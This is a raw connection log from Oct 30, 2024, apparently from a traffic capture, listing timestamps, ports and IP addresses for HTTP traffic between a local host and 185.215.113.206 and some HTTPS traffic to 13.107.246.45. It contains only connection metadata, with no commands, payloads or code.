Oct 30, 2024 15:59:42.045135975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045150042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045166016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045221090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045232058 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045243979 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045253992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045285940 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045314074 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045330048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045341969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045352936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045362949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045375109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045393944 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045420885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045459986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045469999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045481920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045494080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045511961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045525074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045531034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045537949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045542955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045551062 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045562983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045569897 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045574903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045588017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045600891 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045619011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045649052 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045800924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045811892 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045821905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045836926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045847893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045849085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045861006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.045876980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.045896053 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.058537960 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.058604956 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.059243917 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.060307026 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.060323954 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.063766956 CET	49808	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.063780069 CET	443	49808	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.077452898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.077467918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.077480078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.077491999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.077517986 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.077536106 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.077547073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.077558994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.077589035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.103113890 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.103195906 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.103342056 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.119836092 CET	49809	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.119853973 CET	443	49809	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.121510983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.121572018 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.121576071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.121587992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.121611118 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.121628046 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.128317118 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.128349066 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.128484964 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.128840923 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.128878117 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.129000902 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.129036903 CET	49814	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.129045963 CET	443	49814	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.129276037 CET	49815	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.129297018 CET	443	49815	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.129919052 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.129956961 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.130058050 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.130127907 CET	49816	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:42.130136013 CET	443	49816	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:42.152090073 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152153969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152167082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152168036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152196884 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152224064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152282000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152295113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152306080 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152332067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152358055 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152522087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152551889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152595997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152662039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152673960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152684927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152695894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152709007 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152712107 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152723074 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152734995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152739048 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152750015 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152754068 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152781963 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152792931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152807951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152829885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152861118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152873039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152911901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152942896 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152955055 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152966022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.152990103 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.152990103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.153013945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.153043032 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.153054953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.153067112 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.153079033 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.153103113 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.153130054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.153146982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.153158903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.153170109 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.153196096 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.153218031 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154381037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154405117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154416084 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154489040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154521942 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154534101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154545069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154556036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154568911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154586077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154597998 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154627085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154639006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154663086 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154689074 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154705048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154716969 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154727936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154740095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154748917 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154777050 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154808044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154820919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154833078 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154858112 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154870033 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.154977083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.154989004 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155028105 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.155162096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155205011 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.155229092 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155241013 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155298948 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.155306101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155323029 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155873060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.155901909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155926943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155942917 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.155951023 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.155975103 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.155983925 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156035900 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156048059 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156059980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156085014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156097889 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156141043 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156152010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156164885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156188965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156203985 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156275034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156286955 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156326056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156424046 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156436920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156456947 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156467915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156477928 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156481028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156493902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156497002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156507015 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156518936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.156538010 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.156560898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157305002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157316923 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157327890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157340050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157357931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157368898 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157391071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157419920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157429934 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157476902 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157514095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157553911 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157566071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157620907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157620907 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157649994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157661915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157676935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157685041 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157701969 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157717943 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157777071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157788038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157798052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157809973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157816887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157821894 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157834053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157839060 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157845974 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157846928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157866001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157891035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157921076 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157974958 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.157979965 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.157991886 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.158097029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.158492088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.158504009 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.158514977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.158540964 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.158571005 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.158570051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.158587933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.158664942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.159292936 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.159305096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.159323931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.159336090 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.159337997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.159358978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.159379959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.159399986 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.159435034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.159714937 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160300016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160347939 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160358906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160368919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160404921 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160413027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160424948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160439968 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160449982 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160465956 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160476923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160593987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160605907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160617113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160660982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160675049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160689116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160701990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160712957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160734892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160759926 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160852909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160864115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160876036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160911083 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160923958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160937071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160942078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160948992 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160959959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.160965919 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.160990953 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161020994 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161062002 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161075115 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161086082 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161097050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161108017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161115885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161119938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161133051 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161144972 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161158085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161159039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161165953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161173105 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161180019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161181927 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161245108 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161356926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161369085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161381006 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161393881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161406040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161408901 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161417007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161418915 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161446095 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161473989 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161501884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161511898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161529064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161534071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161562920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161581039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161581993 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161595106 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161607027 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161642075 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161653996 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.161673069 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161684990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.161750078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.193253040 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.193280935 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.193294048 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.193305016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.193344116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.193352938 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.193397999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:42.238754988 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.238766909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:42.238778114 CET	80	49716	185.215.113.206	192.168.2.6
